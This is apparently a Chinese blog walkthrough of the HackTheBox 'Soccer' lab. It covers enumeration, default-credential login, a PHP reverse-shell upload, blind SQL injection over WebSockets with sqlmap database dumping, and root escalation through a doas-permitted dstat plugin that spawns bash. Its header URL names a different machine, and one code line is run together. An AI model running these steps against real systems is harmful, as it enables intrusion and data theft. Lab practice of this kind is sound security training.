靶机网址:

https://app.hackthebox.com/machines/Precious

枚举

使用nmap枚举靶机

nmap -sC -sV 10.10.11.194

机子开放了22,80和9091端口,我们本地dns解析这个域名

echo "10.10.11.194 soccer.htb" >> /etc/hosts

然后fuzz网站根目录

ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -t 100 -mc 200,301 -u http://soccer.htb/FUZZ

扫到一个目录,去网站上看看

看起来这是一个后台的登录页面,这个后台的框架名叫Tiny File Manager,在github上是开源的

https://github.com/prasathmani/tinyfilemanager

在这下面可以看到默认的用户名和密码,我们登录试试

登录后是一个文件上传的页面,我试了一下,发现可以上传文件的目录为/tiny/uploads

进入到这个目录,点击右上角的upload上传rev shell

我使用的rev shell:

https://pentestmonkey.net/tools/web-shells/php-reverse-shell

需要更改ip和port参数

然后nc监听这个端口,回到网页上传文件

上传成功后点击这个图标访问rev shell

成功获得交互shell

现在使用linpeas脚本搜集主机信息

https://github.com/carlospolop/PEASS-ng/releases/tag/20221218
chmod +x linpeas.sh
./linpeas.sh

通过这个脚本,在这台机子上发现了很多漏洞,但是都用不了,应该是打补丁了

在下面,脚本列出的nginx默认配置里发现了一个子域名

我们本地dns解析这个域名

echo "10.10.11.194 soc-player.soccer.htb" >> /etc/hosts

通过WebSockets进行SQL注入

现在访问这个域名

发现左上角有一个注册模块,我们注册一个账号

然后登录

登录后就会跳转到这个页面

似乎是要检查我们的票证,通过查看这个页面的源代码,可以发现突破点

它使用的是WebSockets,然后将我们输入的发送到这个URL “ws://soc-player.soccer.htb:9001”

这里告诉我们,传递的参数为id,一会sql测试的时候需要用到它

现在需要通过WebSockets进行SQL注入测试,通过google,找到了这篇文章

https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html

我们将这个代码复制下来,新建一个python文件,并粘贴进去

根据那个网页源代码,修改ws_server和data参数

然后安装websocket模块

pip3 install websocket-client

安装完成后运行脚本

python3 web_socket.py

现在使用sqlmap进行测试

sqlmap -u http://localhost:8081/?id=1 --dump-all --exclude-sysdbs
--dump-all:查找并转储找到的所有数据库
--exclude-sysdbs:不会在默认数据库上浪费时间

因为是时间盲注,所以需要等待几十分钟

现在得到用户名和密码了,使用ssh登录即可

ssh player@10.10.11.194

根据之前linpeas脚本搜集到的信息,发现doas程序有suid权限,doas也不是默认安装的程序,根据HTB机子的规律,这个程序多半是突破点了

什么是Doas

https://zh.m.wikipedia.org/zh-hans/Doas

简单来说,Doas是一个与Sudo具有相同功能的软件

寻找doas软件的配置

find / -type f -name doas.conf 2>/dev/null

提示允许用户player用dstat使用root

Dstat插件

通过查看dstat程序的官方文档,发现我们可以编写插件并执行,名称必须为dstat_*.py,插件存放的目录为/usr/local/share/dstat/

我们可以往插件里写入rev shell获得root权限

我们移动到这个目录下,创建一个名为dstat_baimao.py的文件

cd /usr/local/share/dstat/
touch dstat_baimao.py
chmod 777 dstat_baimao.py

写入代码

import subprocesssubprocess.run(["bash"])
#启动一个新的 bash shell

然后使用Doas执行Dstat插件

doas /usr/bin/dstat --baimao

成功获得root权限

HackTheBox Soccer 通过WebSockets进行SQL注入,Doas与Dstat插件提权相关推荐

  1. HackTheBox MetaTwo 网站框架CVE获取用户shell和破解私钥提权

    题目网址: https://app.hackthebox.com/machines/MetaTwo 枚举 使用nmap枚举靶机 nmap -sC -sV -p- 10.10.11.186 扫到了域名, ...

  2. SQL注入-05-防御修复建议

    SQL注入的防御 应用层防御 1.应用层防御的目标 (1)SQL注入的本质原因是应用层的问题 (2)SQL注入应用层防御的目标是修复SQL所有可能的漏洞,做好事前的防范 2.过滤SQL注入基本字符 ' ...

  3. HTP(hackthebox) Soccer !!!

    Nmap-扫描结果 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; ...

  4. SQL注入-基于MySQL的注入提权(十七)

    实验目的(我的2003是32位的懒得搞了,大家参照一下吧) 普及结合dll文件对Windows系统进行启动项提权.MOF和UDF提权的基本思路,以及提权的主要方法.PS:面试时不要说打靶场什么东西,就 ...

  5. 《Web安全渗透全套教程(40集)》学习笔记 | SQL注入攻击及防御

    学习视频来源:B站<Web安全渗透全套教程(40集)> 个人在学习的同时,也验证了视频中的实验部分,现将授课笔记和实验笔记整理下来. SQL注入危害 SQL基础回顾 连接数据库 查看数据库 ...

  6. 使用Burp,nbsp;Sqlmap进行自动化SQL注入渗透测试

    在OWSAP Top10中,注入型漏洞是排在第一位的,而在注入型漏洞中,SQL注入是远比命令行注入.Xpath注入.Ldap注入更常见.这就是本章要讲述的主要内容:在web应用程序的渗透测试中,如何使 ...

  7. Web安全Day1 - SQL注入实战攻防

    声明:文中所涉及的技术.思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 本专题文章导航 1.Web安全Day1 - SQL注入实战攻防 http ...

  8. 第三方组件提权-SQL server提权

    文章目录 基础 MSSQL权限级别 拿webshell xp_cmdshell执行系统命令 LOG备份getshell 提权 使用xp_cmdshell进行提权 以下内容为转载 使用sp_oacrea ...

  9. MSSQL注入手工注入mssql提权

    mssql数据库 mssql数据库相比mysql数据库本质上的框架是差不多的,使用的增,删,改,查命令是互相通的,mysql中使用的函数在mssql中有些会起不到作用点. MSSQL数据库的基本知识 ...

最新文章

  1. 原 c++中map与unordered_map的区别
  2. 蓝牙stack bluez学习(1)Stack Architecture
  3. Linux c中使用系统时间
  4. iOS APP之本地数据存储(译)
  5. 计算机网络之网络层:12、网络层设备
  6. Gtk的entry传递数据到内部程序
  7. linux exec操作文件描述符
  8. [Machine Learning]朴素贝叶斯(NaiveBayes)
  9. 博文视点大讲堂第44期——招聘真相全揭秘 圆满结束
  10. C笔记 -- 一个为 IT人士打造的笔记工具
  11. Linux U盘检测与速度测试源码
  12. Spring中AOP的实现原理
  13. ArcFace: AdditiveAngularMarginLossforDeepFaceRecognition
  14. 计算机热启动方法,关于电脑热启动的介绍
  15. 拉勾网positionAjax获取的时候(带有账号登陆的时候)频繁获取被拉黑
  16. 在微型计算机中1mb等于多少字节,1MB等于多少字节?
  17. AMBA协议之AXI协议——中文翻译
  18. [网盘工具/百度网盘]秒传链接的使用 -2022版油猴网页脚本
  19. websphere安装was8.5
  20. 什么是mysql时间戳_什么是mysql 的时间戳

热门文章

  1. 解决git冲突:please move or remove them before you can merge
  2. springmvc @ResponseBody返回json 报406 not acceptable
  3. HDU 3338 网络流 建图
  4. 计算机应用基础是文管二级吗,计算机应用基础
  5. 3600元配置 中低端(不带音响)
  6. Addressable内存释放代码
  7. JavaScript实现的水果忍者游戏,支持鼠标操作 1
  8. [量化-018]如何理解券商
  9. 显示器接口_Mac 用户超好用的显示器,色彩完美还接口多
  10. das asda as as das da